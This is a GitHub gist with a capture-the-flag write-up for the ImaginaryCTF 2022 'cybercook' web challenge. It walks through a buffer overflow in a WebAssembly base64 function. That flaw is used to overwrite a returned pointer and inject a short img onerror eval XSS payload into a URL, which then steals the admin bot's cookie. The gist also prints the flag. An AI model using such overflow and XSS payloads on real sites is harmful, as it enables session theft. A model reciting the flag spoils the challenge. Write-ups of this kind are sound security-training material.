Skip to content

Instantly share code, notes, and snippets.

@maple3142
Created July 22, 2022 01:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save maple3142/e6a2da36aa8431116b4eb6c9447af9aa to your computer and use it in GitHub Desktop.
Save maple3142/e6a2da36aa8431116b4eb6c9447af9aa to your computer and use it in GitHub Desktop.
ImaginaryCTF 2022 - cybercook

Reversing the obfuscated js shows that you can provide payload from query string:

http://cybercook.chal.imaginaryctf.org/?action=base64&input=616263

And the payload will be decoded like this:

s=q.input  // q is parsed query string object
ptr=allocate(intArrayFromString(s),ALLOC_NORMAL)
r=Module._base64_encode(ptr,s.length/2)
t=AsciiToString(r)
some_el.innerHTML=t

Observe how wasm memory around the allocated ptr changes before/after _base64_encode is enough the understand the behavior of that function. It will first malloc another chunk after ptr (at 0x503670) as output buffer out, then decode the input hex string into bytes inplace, and finally encode those bytes into base64 and put it into out.

Trying to insert some longer s could result in r not being a normal address, so it must have some kind of buffer overflow. With further inspection, you can find that the returned address of _base64_encode is from some offset after out, so longer input might result in it being overwritten.

So the exploit plan is now clear, just somehow override that return address to your allocated buffer ptr (at 0x503670) allows you to have xss. Notice that the base64 characters used here is:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\x00

Since / is replaced by \x00, b64decode(bytes.fromhex('703650')+b'/') = '\xa7\xa3\xff' will be 0x503670 (little endian) in wasm. So the following snippet will print abcabcabc...:

s='616263'.repeat(10)+'a7a3ff'
ptr=allocate(intArrayFromString(s),ALLOC_NORMAL)
r=Module._base64_encode(ptr,s.length/2)
t=AsciiToString(r)
console.log(t)

The final step is to constrct a xss payload with length less than 30. I use<img/src/onerror=eval(q.s)> then put your actual payload in s parameter.

http://cybercook.chal.imaginaryctf.org/?action=base64&input=3c696d672f7372632f6f6e6572726f723d6576616c28712e73293e787878a7a3ff&s=alert(1)

Modify the code in s to steal cookie from admin bot gives the flag: ictf{c0ngrats_on_pWning_my_w4sm_hopefully_there_werent_any_cheese_solutions_b2810d1e}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment